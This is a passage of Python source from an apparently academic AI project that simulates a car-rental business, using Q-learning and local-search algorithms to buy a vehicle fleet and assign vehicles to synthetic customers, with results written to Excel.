from algorithms.local_search import local_search
from algorithms.q_learner import get_vehicles
from environment.environment_factory import environment_factory
from helper_functions import *
import numpy as np
import matplotlib.pyplot as plt
from vehicle_assignment import vehicle_assignment
import sys
def extract_user_input(user_input):
"""
checks if the given user's input is valid and extract's it
:param user_input:
:return: extracted user's input
"""
if len(user_input) == 0:
# default assignment
return q_learning_str, hill_climbing_str, default_costumers_num, default_vehicles_types, \
default_vehicles_for_rental
elif len(user_input) < arguments_num:
print(invalid_arguments_num)
exit(EXIT_ERR)
purchase_algorithm, assignment_algorithm, costumers_num, vehicle_num_types, vehicles_num = user_input
# check if the first algorithm was typed correctly
if purchase_algorithm not in valid_purchase_algorithmm:
print(invalid_purchase_error)
exit(EXIT_ERR)
# check if the second algorithm was typed correctly
if assignment_algorithm not in valid_assignment_algorithmm:
print(invalid_assignment_error)
exit(EXIT_ERR)
# check population validity
if not costumers_num.isnumeric() or int(costumers_num) <= 0:
print(invalid_population_size)
exit(EXIT_ERR)
# check vehicles variety validity
if not vehicle_num_types.isnumeric() or int(vehicle_num_types) <= 0:
print(invalid_vehicles_num_error)
exit(EXIT_ERR)
# check vehicles amount validity
if not vehicles_num.isnumeric() or int(vehicles_num) <= 0:
print(invalid_vehicles_amount_error)
exit(EXIT_ERR)
return purchase_algorithm, assignment_algorithm, int(costumers_num), int(vehicle_num_types), int(vehicles_num)
def get_vehicles_and_factory(excel_writer, buying_algorithm, num_of_costumers, num_of_vehicle_type, num_of_vehicles):
"""
creates the environment and buys the vehicles
:param excel_writer:
:param buying_algorithm: buy vehicles according to this algorithms
:param num_of_costumers: num of costumers in the environment
:param num_of_vehicle_type: if this value is 'x' then in the catalog there will be 8*x vehicles
:param num_of_vehicles: number of vehicles that we would like to buy
:return:
"""
factory = environment_factory(excel_writer, num_of_costumers, num_of_vehicle_type)
v_ranks = factory.v_ranks
v_ranks_size = len(v_ranks)
if buying_algorithm == constants.q_learning_str:
vehicles = get_vehicles(v_ranks, num_of_vehicles)
else:
local_search_env = local_search(range(v_ranks_size), v_ranks, first_problem_evaluation)
search_algorithm = local_search_env.get_algorithm(buying_algorithm)
vehicles = np.zeros(v_ranks_size)
for i in range(num_of_vehicles):
r = search_algorithm()
factory.v_ranks[r] += (1 / (loss_adder_const_factor * len(v_ranks)))
vehicles[r] += 1
plt.bar(range(v_ranks_size), vehicles, label=buying_algorithm)
plt.title(f'{buying_algorithm} - Vehicles purchase')
plt.xlabel("vehicle id")
plt.ylabel("amount")
plt.savefig(os.path.join(get_output_path(), vehicles_bought_figure_name), dpi=200)
plt.close()
# update excel file
v_data = []
for i in range(v_ranks_size):
v_data.append([factory.vehicles[i].id, vehicles[i]])
df_v = pd.DataFrame(v_data, columns=constants.bought_vehicles_cols)
write_to_excel(excel_writer, constants.bought_vehicles_sheet, df_v)
return vehicles, factory
def assign_vehicles(excel_writer, purchase_algo, assigning_algo, factory_, vehicles_):
"""
handles the second section of the problem
:param excel_writer:
:param purchase_algo: buy vehicles according to this algorithms
:param assigning_algo: algorithm for the assignment section(local search)
:param factory_: environment - contains costumers and vehicles
:param vehicles_: vehicles that were purchase in the previous section
:return: nothing
"""
num_of_vehicles_in_car_lot = int(np.sum(vehicles_))
costumers_num = len(factory_.costumers)
if costumers_num >= num_of_vehicles_in_car_lot:
people_who_came = np.random.choice(range(num_of_vehicles_in_car_lot // 2, num_of_vehicles_in_car_lot + 1))
else:
people_who_came = np.random.choice(range((2 * costumers_num) // 3, costumers_num + 1))
costumers = np.random.choice(factory_.costumers, people_who_came, replace=False)
assignment = vehicle_assignment(costumers, vehicles_, factory_)
assignment.assign_vehicles_to_costumers(purchase_algo, assigning_algo)
assignment.update_excel(excel_writer)
if __name__ == '__main__':
buy_algorithm, assign_algorithm, population_size, vehicles_types, vehicles_num = extract_user_input(sys.argv[1:])
writer = initialize_writer()
print(please_wait_str)
vehicles, factory = get_vehicles_and_factory(writer, buy_algorithm, population_size, vehicles_types, vehicles_num)
assign_vehicles(writer, buy_algorithm, assign_algorithm, factory, vehicles)
writer.save()
writer.close()
print(finished_proccess_str)
<file_sep>/AI_Final_project-master/algorithms/q_learner.py
import helper_functions
from environment.environment_factory import *
class q_learner:
"""
Q-Learner class
"""
def __init__(self, rewards):
self._size = len(rewards)
self.rewards = rewards
self.q_values = np.zeros(self._size)
self.q_counter = np.zeros(self._size)
def step(self, action):
"""
:param action: environment action
:return: the given action reward with added noise
"""
assert 0 <= action < self._size
return np.random.normal(loc=self.rewards[action], scale=self.rewards[action] / constants.scale_constant)
def epsilon_greedy(self, episodes_number, epsilon, epsilon_factor):
"""
:param episodes_number: number of learning episodes
:param epsilon:
:param epsilon_factor: decay factor for epsilon
:return: the q_values after learning
"""
for i in range(episodes_number):
if helper_functions.flip(epsilon, True, False):
action = np.random.choice(np.flatnonzero(self.q_values == self.q_values.min()))
else:
action = np.random.randint(self._size)
reward = self.step(action)
self.q_counter[action] += 1
alpha = 1 / self.q_counter[action]
self.q_values[action] += alpha * (reward - self.q_values[action]) # Q(a) = Q(a) + alpha * (R(a) - Q(a))
epsilon *= epsilon_factor # epsilon decay
return self.q_values
def get_vehicles(vehicles_ranks, num_of_vehicles_in_car_lot):
"""
:param vehicles_ranks: ranks of vehicles to run the learning on
:param num_of_vehicles_in_car_lot: the amount of vehciles to buy with the Q-Learning algorithm
:return: amount of vehicles to buy from each veihcle type
"""
learner = q_learner(vehicles_ranks)
vehicles_to_buy = learner.epsilon_greedy(constants.default_training_num, constants.q_learning_epsilon,
constants.q_learning_epsilon_decay)
vehicles_to_buy[vehicles_to_buy < 0] = 0 # ignore negative values -> the car lot won't buy them
# standardize [0, 1] and after that multuply by the num of vehicles
vehicles_to_buy = np.round((vehicles_to_buy / vehicles_to_buy.sum()) * num_of_vehicles_in_car_lot)
q_sum_diff = int(np.sum(vehicles_to_buy) - num_of_vehicles_in_car_lot)
complete = -1 if q_sum_diff > 0 else 1
q_sum_diff = abs(q_sum_diff)
q_range = range(len(vehicles_to_buy)) if complete > 0 else np.where(vehicles_to_buy > q_sum_diff)[0]
while q_sum_diff:
vehicles_to_buy[np.random.choice(q_range)] += complete
q_sum_diff -= 1
return vehicles_to_buy
<file_sep>/AI_Final_project-master/environment/environment_factory.py
import environment.costumer as costumer
import environment.vehicle as vehicle
import constants
import numpy as np
from helper_functions import write_to_excel
import pandas as pd
class environment_factory:
"""
a factory that creates the costumers and vehicles.
Also, contains some methods to handle data from costumers and vehicles.
"""
def __init__(self, results_writer, num_of_costumers, num_of_vehicle_type):
# create costumers
self.costumers = []
costumers_data_frame = []
for i in range(num_of_costumers):
costumer_ = costumer.costumer()
self.costumers.append(costumer_)
costumers_data_frame.append(costumer_.get_data())
df_population = pd.DataFrame(costumers_data_frame, columns=constants.population_col_names)
write_to_excel(results_writer, constants.population_sheet, df_population)
# fill costumer service
self.costumers_survey = self.costumers[0].fill_questionnaire().copy()
for c in self.costumers[1:]:
self.costumers_survey[constants.ANSWER] += c.fill_questionnaire()[constants.ANSWER].copy()
self.costumers_survey[constants.ANSWER] /= num_of_costumers
# create vehicle models options
self.vehicles = []
vehicles_data_frame = []
for i in range(num_of_vehicle_type):
mini, private, suv, manager, luxury, family, scooter, motorcycle = vehicle.mini(), vehicle.private(),\
vehicle.suv(), vehicle.manager(),\
vehicle.luxury(), vehicle.family(),\
vehicle.scooter(), vehicle.motorcycle()
self.vehicles.extend([mini, private, suv, manager, luxury, family, scooter, motorcycle])
vehicles_data_frame.extend([mini.get_data(), private.get_data(), suv.get_data(), manager.get_data(),
luxury.get_data(), family.get_data(), scooter.get_data(), motorcycle.get_data()])
df_vehicles = pd.DataFrame(vehicles_data_frame, columns=constants.vehicles_col_names)
write_to_excel(results_writer, constants.vehicles_catalog_sheet, df_vehicles)
# create vehicle histogram
self.avg_age = self.costumers_survey[constants.ANSWER][constants.age_index]
self.vehicle_histogram = [0] * len(self.vehicles)
self._update_vehicles_losses()
# vehicles ranking
self.v_ranks = self.get_vehicle_scores_by_survey(self.costumers_survey)
def _update_vehicles_losses(self):
"""
updates the vehicle losses - each cell contains the specific vehicle loss
:return: nothing
"""
for index, v in enumerate(self.vehicles):
self.vehicle_histogram[index] = self.vehicle_loss(v, self.avg_age)
def vehicle_loss(self, v: vehicle.vehicle, age):
"""
calculates the vehicle's loss
:param v: vehicle
:param age: costumer age
:return: the vehicle's losses
"""
vehicle_losses = np.zeros(len(constants.questions))
for i, q in enumerate(constants.questions):
vehicle_losses[i] = self.extract_vehicle_features(v, constants.questions_match[q], age)
return vehicle_losses
def extract_vehicle_features(self, v: vehicle.vehicle, features, age):
"""
The method that match a costumer survey section to a vehicle
:param v: vehicle
:param features: features to consider in the calculation
:param age: costumer's age
:return: loss by feature
"""
result = 0
for feature in features:
if feature == constants.engine_type_const:
result += v.engine_type
elif feature == constants.engine_size_const:
result += v.engine_size
elif feature == constants.trunk_size_const:
result += v.trunk_size
elif feature == constants.hands_const:
result += v.num_hand
elif feature == constants.gear_const:
result += v.gear
elif feature == constants.smart_feat_const:
result += v.smart_features
elif feature == constants.seats_num_const:
result += v.seats_num
elif feature == constants.price_const:
result += v.calc_renting_price(age)
else:
# scooter or motorcycle
if v.seats_num == 1:
result += np.random.choice(range(7, 11))
elif v.trunk_size < 5: # mini
result += np.random.choice(range(5, 7))
else:
result += np.random.choice(range(1, 5))
pass
return result / len(features)
def get_costumer_match(self, v, survey, age):
"""
gets the total loss between a costumer and a vehicle
:param v: vehicle
:param survey: costumer's survey
:param age: costumer's age
:return: total loss
"""
v_score = self.vehicle_loss(v, age)
return np.sum(np.abs(survey[constants.ANSWER][:-1] - v_score[:-1]))
def get_vehicle_scores_by_survey(self, survey):
"""
fits a survey to a vehicle
:param survey:
:return:
"""
vehicle_scores = np.zeros(len(self.vehicles))
survey_answers = np.array(survey[constants.ANSWER])
for i, v in enumerate(self.vehicle_histogram):
vehicle_scores[i] = np.sum(np.abs(survey_answers[:-1] - v[:-1]))
return vehicle_scores / np.sum(vehicle_scores)
<file_sep>/AI_Final_project-master/constants.py
import numpy as np
output_dir_name = 'output'
output_file_name = 'results.xlsx'
population_sheet = 'Population'
population_col_names = ['ID', 'Age', '#Childrens', 'Income', 'Q1', 'Q2', 'Q3', 'Q4', 'Q5', 'Q6', 'Q7', 'Q8', 'Q9']
vehicles_catalog_sheet = 'Vehicles Catalog'
vehicles_col_names = ['ID', 'Engine Type', 'Engine Size', 'Trunk_Size', '#Hands', 'Gear',
'Smart Features Rank', '#Seats', 'Price']
bought_vehicles_sheet = 'Bought Vehicles'
bought_vehicles_cols = ['ID', 'Amount']
vehicles_assignment_sheet = 'Assignment'
assignment_cols = ['Person ID', 'Vehicle ID']
vehicles_bought_figure_name = 'purchased_vehicles_histogram.png'
assignment_figure_name = 'loss_over_swaps.png'
################ Costumer Constants #######################
# age_distributions = np.array([0.22, 0.11, 0.18, 0.22, 0.1, 0.08, 0.065, 0.02, 0.005])
age_distributions = np.array([0, 0, 0.18, 0.22, 0.1, 0.08, 0.065, 0.02, 0.005])
age_distributions[age_distributions > 0] += 0.33 / 7
num_of_children_distributions = np.array([0.23, 0.15, 0.26, 0.19, 0.1, 0.07])
income_distributions = np.array([0.11, 0.24, 0.24, 0.14, 0.08, 0.06, 0.05, 0.04, 0.03, 0.01])
questions = ['Fuel saving is more important than performance?',
'Num of children',
'Income',
'Environmental care is more important than performance?',
'Smart features',
'Home to work distance',
'Compact vs spacious vehicle',
'Urbanic vs nature',
'Safety vs mobility',
'age']
QUESTION = 'Question'
ANSWER = 'Answer'
two_wheels_prob = 0.08
################ Vehicle Constants #######################
engine_type_distribution = [0.04, 0.2, 0.76]
electrical_score = 3
hybrid_score = 6
gas_score = 10
auto_gear_score = 8
handle_gear_score = 4
engine_types = [electrical_score, hybrid_score, gas_score]
# vehicles names:
mini_str = 'mini'
private_str = 'private'
suv_str = 'suv'
manager_str = 'manager'
luxury_str = 'luxury'
family_str = 'family'
scooter_str = 'scooter'
motorcycle_str = 'motorcycle'
################ factory Constants #######################
engine_type_const = "engine_type"
engine_size_const = "engine_size"
trunk_size_const = "trunk_size"
hands_const = "hands_num"
gear_const = "gear"
smart_feat_const = "smart_features"
seats_num_const = "seats_num"
price_const = "price"
mobility_const = "mobility"
questions_match = {questions[0]: [engine_type_const, engine_size_const, gear_const],
questions[1]: [trunk_size_const, seats_num_const],
questions[2]: [hands_const, price_const],
questions[3]: [engine_type_const, engine_size_const],
questions[4]: [smart_feat_const],
questions[5]: [hands_const, gear_const, price_const],
questions[6]: [engine_size_const, trunk_size_const, seats_num_const],
questions[7]: [engine_size_const, gear_const],
questions[8]: [mobility_const],
questions[9]: [hands_const, price_const]}
age_index = 9
######################## Q-Learner Constants #######################
scale_constant = 2
default_training_num = 1000
q_learning_epsilon = 0.25
q_learning_epsilon_decay = 0.9993
######################## Local Search Constants #######################
hill_climbing_str = "hill_climbing"
stochastic_hill_climbing_str = "stochastic_hill_climbing"
first_choice_hill_climbing_str = "first_choice_hill_climbing"
random_restart_hill_climbing_str = "random_restart_hill_climbing"
local_beam_search_str = "local_beam_search"
stochastic_local_beam_search_str = "stochastic_local_beam_search"
simulated_annealing_str = "simulated_annealing"
iteration_limit = 100
random_restart_const = 4
loss_adder_const_factor = 100
default_steps = 3
default_beam_neighbors = 3
simulated_annealing_epsilon = 0.17
simulated_annealing_iters_bound = 10
######################## Vehicle purchase Constants #######################
q_learning_str = "q_learning"
default_costumers_num = 1000
default_vehicles_types = 5
default_vehicles_for_rental = 800
arguments_num = 5
######################## Vehicle assignment Constants #######################
swaps_num = 500
######################## Main Constants #######################
valid_purchase_algorithmm = {q_learning_str, hill_climbing_str, stochastic_hill_climbing_str,
first_choice_hill_climbing_str, random_restart_hill_climbing_str, local_beam_search_str,
stochastic_local_beam_search_str, simulated_annealing_str}
valid_assignment_algorithmm = valid_purchase_algorithmm - {q_learning_str}
invalid_purchase_error = f"You typed an incorrect purchase algorithm!!!\nType one of the next algorithms:\n1) " \
f"{q_learning_str}\n2) {hill_climbing_str}\n3) {stochastic_hill_climbing_str}\n4)" \
f" {first_choice_hill_climbing_str}\n5) {random_restart_hill_climbing_str}\n6) " \
f"{local_beam_search_str}\n7) {stochastic_local_beam_search_str}\n8) {simulated_annealing_str}"
invalid_assignment_error = f"You typed an incorrect assigning algorithm!!!\nType one of the next algorithms:\n1) " \
f"{hill_climbing_str}\n2) {stochastic_hill_climbing_str}\n3) " \
f"{first_choice_hill_climbing_str}\n4) {random_restart_hill_climbing_str}\n5) " \
f"{local_beam_search_str}\n6) {stochastic_local_beam_search_str}\n7) " \
f"{simulated_annealing_str}"
invalid_vehicles_num_error = "The number of vehicles variation number should be an integer larger than 0!!!"
invalid_vehicles_amount_error = "You need to buy at least one vehicle!!!"
invalid_arguments_num = "You are missing some arguments!!!\nReminder:\n<purchase_algorithm> <assignment_algorithm>" \
" <population_size> <vehicles_variety> <vehicles_amount>"
invalid_population_size = "Population size should be an integer larger than 0!!!"
please_wait_str = "please wait..."
finished_proccess_str = "Done :)"
EXIT_ERR = 1
<file_sep>/AI_Final_project-master/environment/vehicle.py
import itertools
from helper_functions import *
def generate_gear(p, engine_type):
"""
generates a vehicle gear by engine type and probability
:param p: probability for 'auto gear'
:param engine_type:
:return: vehicle's gear
"""
if engine_type == electrical_score:
return auto_gear_score
return flip(p, auto_gear_score, handle_gear_score)
class vehicle:
"""
Vehicle class that defines a vehicle object by different parameters
"""
def __init__(self):
self.id = ''
self.engine_type = 0 # electrical, hybrid, gas
self.engine_size = 0
self.trunk_size = 0
self.num_hand = random.choice(list(range(1, 5))) # first hand, second hand....
self.gear = 0
self.smart_features = 0 # rank
self._mid_insurance_cost = 0 # on a scale from 1 to 10 while the lower the more env friendly
self.seats_num = 0
self.price = 0 # on a scale from 1 to 10
def calc_insurance(self, age):
"""
calculates the insurance by costumer's age
:param age: costumer's age
:return: the calculated inssurance
"""
age_score = (100 - age) / 10
return round((age_score * 0.65) + (self._mid_insurance_cost * 0.35))
def calc_renting_price(self, age):
"""
calculate the renting price by the default price and the inssurance price
:param age: costumer's age
:return: renting price
"""
return 0.7 * self.price + 0.3 * self.calc_insurance(age)
def set_default_insurance(self, inssurance_price):
"""
sets a default insurance
:param inssurance_price:
:return:
"""
self._mid_insurance_cost = inssurance_price
def get_data(self):
"""
:return: vehicle's data
"""
return [self.id, self.engine_type, self.engine_size, self.trunk_size, self.num_hand, self.gear,
self.smart_features, self.seats_num, self.price]
class four_wheels(vehicle):
def __init__(self):
super().__init__()
self.seats_num = 4
self.smart_features = random.choice(list(range(1, 11)))
self.gear = generate_gear(0.74, self.engine_type)
self.engine_type = generate_object_from_multi_distributions(engine_type_distribution, engine_types)
class mini(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{mini_str}_{next(self.id_iter)}'
self.trunk_size = random.choice(list(range(3, 5)))
self.engine_size = 2
self.set_default_insurance(2)
self.price = flip(0.5, 2, 3)
class private(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{private_str}_{next(self.id_iter)}'
self.trunk_size = random.choice(list(range(4, 6)))
self.engine_size = 3
self.set_default_insurance(2.6)
self.price = flip(0.5, 3, flip(0.5, 2, 4))
class suv(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{suv_str}_{next(self.id_iter)}'
self.trunk_size = random.choice(list(range(7, 10)))
self.engine_size = flip(0.66, 6, 7) # six is the green section and seven is the white
self.set_default_insurance(5.5)
self.price = flip(0.5, 6, flip(0.5, 5, 7))
class manager(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{manager_str}_{next(self.id_iter)}'
self.trunk_size = random.choice(list(range(4, 10)))
self.engine_size = flip(0.7, 5, 4)
self.set_default_insurance(7.5)
self.price = flip(0.5, 7, flip(0.5, 6, 8))
class luxury(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{luxury_str}_{next(self.id_iter)}'
self.trunk_size = random.choice(list(range(3, 8)))
self.engine_size = flip(0.66, 6, 7)
self.insurance_cost = flip(0.57, 6, 7)
self.set_default_insurance(8)
self.price = flip(0.5, 9, flip(0.5, 8, 10))
class family(four_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{family_str}_{next(self.id_iter)}'
self.seats_num = 7
self.trunk_size = random.choice(list(range(7, 10)))
self.engine_size = 3
self.set_default_insurance(2.5)
self.price = flip(0.5, 5, flip(0.5, 4, 6))
class two_wheels(vehicle):
def __init__(self):
super().__init__()
self.seats_num = 1
self.trunk_size = random.choice(list(range(1, 2)))
self.smart_features = random.choice(list(range(1, 3)))
self.engine_type = flip(0.02, electrical_score, gas_score)
self.gear = generate_gear(0.93, self.engine_type)
self.engine_size = 1
self.insurance_cost = flip(0.55, 6, 7)
self.set_default_insurance(7.5)
class scooter(two_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{scooter_str}_{next(self.id_iter)}'
self.price = flip(0.5, 2, flip(0.5, 1, 3))
class motorcycle(two_wheels):
id_iter = itertools.count()
def __init__(self):
super().__init__()
self.id = f'{motorcycle_str}_{next(self.id_iter)}'
self.gear = generate_gear(1 - 0.93, self.engine_type)
self.price = flip(0.5, 4, flip(0.5, 3, 5))
<file_sep>/AI_Final_project-master/environment/costumer.py
from helper_functions import *
import itertools
def generate_age_array():
"""
:return: array for age distribution
"""
return [random.choice(range(1, 11)), random.choice(range(11, 17)), random.choice(range(17, 28)),
random.choice(range(28, 39)), random.choice(range(39, 40)), random.choice(range(40, 51)),
random.choice(range(51, 62)), random.choice(range(62, 73)), random.choice(range(73, 80)),
random.choice(range(80, 96))]
class costumer:
"""
Costumer class that defines a costumer object by different parameters
"""
id_iter = itertools.count()
def __init__(self):
self.id = next(self.id_iter)
self.age = generate_object_from_multi_distributions(age_distributions, generate_age_array())
self.num_of_children = generate_object_from_multi_distributions(num_of_children_distributions,
[0, 1, 2, 3, 4, random.choice(range(5, 7))])
self.income = generate_object_from_multi_distributions(income_distributions, list(range(1, 11))) # by decile
self._questionnaire = None
def fill_questionnaire(self):
"""
fills the costumer questionnaire by some defined distributions
:return: costumer's questionnaire
"""
if self._questionnaire is None:
answers_arr = []
# Q1: Fuel saving is more important than performance?
answers_arr.append(generate_normal_distribution(5, 2.51, 1, 10))
# Q2: Num of children
answers_arr.append(self.num_of_children)
# Q3: Income
answers_arr.append(self.income)
# Q4: Environmental care is more important than performance?
answers_arr.append(generate_normal_distribution(5, 2.321, 1, 10))
# Q5: Smart features
answers_arr.append(generate_normal_distribution(5, 2.573, 1, 10))
# Q6: Home to work distance
answers_arr.append(generate_normal_distribution(5, 2.231, 1, 10))
# Q7: Compact vs spacious vehicle
answers_arr.append(generate_normal_distribution(4, 2.783, 1, 10))
# Q8: Urbanic vs nature
answers_arr.append(generate_normal_distribution(4, 2.51, 1, 10))
# Q9: Safety vs mobility
# there are ~8% two wheels vehicles compared to 4 wheels
answers_arr.append(generate_normal_distribution(5, 3.16, 1, 10))
# Q10: age
answers_arr.append(self.age)
self._questionnaire = pd.DataFrame({QUESTION: questions, ANSWER: answers_arr})
return self._questionnaire
def get_data(self):
"""
:return: costumer's data
"""
return [self.id, self.age, self.num_of_children, self.income] + self.fill_questionnaire()[ANSWER][:-1].tolist()
<file_sep>/AI_Final_project-master/helper_functions.py
import random
import pandas as pd
from constants import *
import os
def get_output_path():
"""
:return: output result path from curr dir
"""
dir_path = os.path.abspath(os.curdir)
output_path = os.path.join(dir_path, output_dir_name)
if not os.path.exists(output_path):
os.makedirs(output_path)
return output_path
def initialize_writer():
"""
initializes the excel writer
:return: excel writer
"""
output_path = os.path.join(get_output_path(), output_file_name)
return pd.ExcelWriter(output_path, engine='xlsxwriter')
def write_to_excel(writer, sheet_name, data_frame):
"""
:param writer: excel writer
:param sheet_name: write the data frame into this sheet
:param data_frame: data to write into the given file into a new sheet
:return: nothing
"""
data_frame.to_excel(writer, sheet_name)
def flip(p, f1, f2):
"""
a function that flips a coin and with a probability of p it will return f1 and otherwise f2
:param p: 'f1' probability
:param f1: feature 1
:param f2: feature 2
:return: f1 with a probability of p, otherwise f2
"""
return f1 if random.random() > p else f2
def generate_object_from_multi_distributions(distributions, group):
"""
a function that returns a value from a given group by a given distribution
:param distributions: distribution numpy array of size N
:param group: values array of size N (same size as distribution)
:return: a value from the given group by the given distribution
"""
distributions = np.cumsum(distributions)
distributions[distributions <= 0] = np.inf
distributions -= random.random()
idx = (np.abs(distributions)).argmin()
return group[idx]
def generate_normal_distribution(_mean, _sd, lower_bound, upper_bound):
"""
generates from normal distribuations with given bounds
:param _mean: mean
:param _sd: Standard Deviation
:param lower_bound: don't return values which are lower than this bound - return this bound instead
:param upper_bound: don't return values which are greater than this bound - return this bound instead
:return: the distribution
"""
dist = np.random.normal(_mean, _sd, 1)[0]
if dist < lower_bound:
dist = lower_bound
elif dist > upper_bound:
dist = upper_bound
return dist
########################### evaluation functions ##########################
def first_problem_evaluation(index, losses):
"""
evaluates the firs problem(vehicle purchase) for the local search algorithms
:param index: index to checks it's loss
:param losses: losses array
:return: the loss of the given vehicle
"""
return losses[index]
def second_problem_evaluation(costumers_pair, domain):
"""
evaluates the firs problem(vehicle purchase) for the local search algorithms
:param costumers_pair: evaluate the swap loss of the two costumers
:param domain: problems domain
:return: swap loss - positive means that we added loss and negative means that we reduced it.
"""
placements, table = domain[0], domain[1]
costumer1, costumer2 = costumers_pair[0], costumers_pair[1]
# if the second index is greater than the costumer's number then the vehicle is in the rental,
# meanning that it's loss is 0
if costumer2 >= len(table):
return table[costumer1][int(placements[costumer2])] - table[costumer1][int(placements[costumer1])]
curr_loss = table[costumer1][int(placements[costumer1])] + table[costumer2][[int(placements[costumer2])]]
new_loss = table[costumer1][int(placements[costumer2])] + table[costumer2][[int(placements[costumer1])]]
result = (new_loss - curr_loss)[0]
return result
<file_sep>/AI_Final_project-master/algorithms/local_search.py
import random
from constants import *
class local_search:
"""
a class that defines some local search algorithms
"""
def __init__(self, environment, domain, evaluation_func, steps=default_steps):
self._environment = environment
self._steps = steps
self._size = len(environment)
self._domain = domain
self._evaluate = evaluation_func
self._searches_map = {hill_climbing_str: self._hill_climbing,
stochastic_hill_climbing_str: self._stochastic_hill_climbing,
first_choice_hill_climbing_str: self._first_choice_hill_climbing,
random_restart_hill_climbing_str: self._random_restart_hill_climbing,
local_beam_search_str: self._local_beam_search,
stochastic_local_beam_search_str: self._stochastic_local_beam_search,
simulated_annealing_str: self._simulated_annealing}
def get_algorithm(self, algorithm_name):
"""
:param algorithm_name: A local search algorithm name
:return: a pointer for the algorithm's function
"""
return self._searches_map[algorithm_name]
def _get_neighbors(self, curr_position):
"""
:param curr_position: curr index in the environment
:return: the neighbors of the given index - k steps from its left and from its right
"""
assert 0 <= curr_position < self._size
left_bound, right_bound = curr_position - self._steps, curr_position + self._steps
if left_bound < 0:
left_bound = 0
if right_bound > self._size:
right_bound = self._size
return list(range(left_bound, curr_position)) + list(range(curr_position + 1, right_bound))
def _hill_climbing(self):
"""
hill climbing implementation
:return: minimum action (that found)
"""
index_ = np.random.choice(range(self._size))
solution = self._environment[index_]
while True:
next_eval = np.inf
successor = -1
index_succ = 0
for s in self._get_neighbors(index_):
evaluation = self._evaluate(self._environment[s], self._domain)
if evaluation < next_eval:
successor = self._environment[s]
next_eval = evaluation
index_succ = s
if next_eval >= self._evaluate(solution, self._domain):
return solution
solution = successor
index_ = index_succ
def _stochastic_hill_climbing(self):
"""
stochastic hill climbing implementation
:return: minimum action (that found)
"""
index_ = np.random.choice(range(self._size))
solution = self._environment[index_]
solution_eval = self._evaluate(solution, self._domain)
while True:
possible_successors = []
for s in self._get_neighbors(index_):
evaluation = self._evaluate(self._environment[s], self._domain)
# evaluation = 0 means that we neither improve nor worsen our general loss
if evaluation < solution_eval:
possible_successors.append((self._environment[s], s, evaluation))
if not possible_successors:
return solution
solution, index_, solution_eval = possible_successors[np.random.randint(0, len(possible_successors))]
def _first_choice_hill_climbing(self):
"""
first choice hill climbing implementation
:return: minimum action (that found)
"""
index_ = np.random.choice(range(self._size))
solution = self._environment[index_]
solution_eval = self._evaluate(solution, self._domain)
while True:
possible_successors = []
for s in self._get_neighbors(index_):
evaluation = self._evaluate(self._environment[s], self._domain)
if evaluation < solution_eval:
if np.random.choice([True, False]):
possible_successors = [(self._environment[s], s, evaluation)]
break
possible_successors.append((self._environment[s], s, evaluation))
if not possible_successors:
return solution
solution, index_, solution_eval = possible_successors[np.random.randint(0, len(possible_successors))]
def _random_restart_hill_climbing(self, num_of_runs=random_restart_const):
"""
random restart hill climbing implementation
:param num_of_runs: The amount of times that hill climbing algorithm is about to repeat
:return: minimum action (that found)
"""
best_solution_index = -1
best_solution_val = np.inf
for i in range(num_of_runs):
hill_result = self._hill_climbing()
evaluation = self._evaluate(hill_result, self._domain)
if best_solution_val > evaluation:
best_solution_index = hill_result
best_solution_val = evaluation
return best_solution_index
def _local_beam_search(self, k=default_beam_neighbors, iterations_limit=iteration_limit):
"""
local beam search algorithm implementation
:param k: number of nearest neighbors
:param iterations_limit: for optimization set a bound for iterations
:return: minimum action (that found)
"""
def append_successors(indexes):
s = indexes.copy()
for i in indexes:
s += self._get_neighbors(i)
return s
k_neighbors = list(np.random.choice(range(self._size), k, replace=False))
curr_best = 0
while iterations_limit > 0:
successors = append_successors(k_neighbors)
ordered = sorted(successors, key=lambda m: self._evaluate(self._environment[m], self._domain))
k_neighbors = ordered[:k]
iterations_limit -= 1
if k_neighbors[0] == curr_best:
break
curr_best = k_neighbors[0]
return self._environment[k_neighbors[0]]
def _stochastic_local_beam_search(self, k=default_beam_neighbors, iterations_limit=iteration_limit):
"""
stochastic local beam search algorithm implementation
:param k: number of nearest neighbors
:param iterations_limit: for optimization set a bound for iterations
:return: minimum action (that found)
"""
def append_successors(indexes):
s = indexes.copy()
for i in indexes:
s += self._get_neighbors(i)
return s
k_neighbors = list(np.random.choice(range(self._size), k, replace=False))
curr_best = k_neighbors[0]
while iterations_limit > 0:
successors = append_successors(k_neighbors)
probs = np.array([self._evaluate(self._environment[s], self._domain) for s in successors])
probs += np.abs(np.min(probs))
probs /= np.max(probs)
random_neighbors = [successors[i] for i in np.where(random.random() > probs)[0]]
k_neighbors = sorted(random_neighbors[:k], key=lambda m: self._evaluate(self._environment[m], self._domain))
iterations_limit -= 1
if not k_neighbors or k_neighbors[0] == curr_best:
break
curr_best = k_neighbors[0]
return self._environment[curr_best]
def _simulated_annealing(self, epsilon=simulated_annealing_epsilon, iterations=simulated_annealing_iters_bound):
"""
simulated annealing algorithm implementation
:param epsilon:
:param iterations: for optimization
:return: minimum action (that found)
"""
epsilon_decay = epsilon / iterations
index_ = np.random.choice(range(self._size))
solution = self._environment[index_]
solution_eval = self._evaluate(solution, self._domain)
for i in range(iterations):
while True:
next_eval = np.inf
successor = -1
neighbors = self._get_neighbors(index_)
curr_index = 0
if random.random() < epsilon:
curr_index = np.random.choice(neighbors)
successor = self._environment[curr_index]
next_eval = self._evaluate(successor, self._domain)
else:
for s in neighbors:
evaluation = self._evaluate(self._environment[s], self._domain)
if evaluation < next_eval:
curr_index = s
successor = self._environment[curr_index]
next_eval = evaluation
if next_eval >= solution_eval:
break
solution, index_, solution_eval = successor, curr_index, next_eval
epsilon -= epsilon_decay
return solution
<file_sep>/AI_Final_project-master/vehicle_assignment.py
import itertools
from algorithms import local_search
from helper_functions import *
from constants import *
import matplotlib.pyplot as plt
class vehicle_assignment:
"""
class that handles the second section of the problem - assigning vehicles to costumers
"""
def __init__(self, costumers, vehicles, factory):
self._factory = factory
self._costumers = costumers
self._vehicles = vehicles.copy()
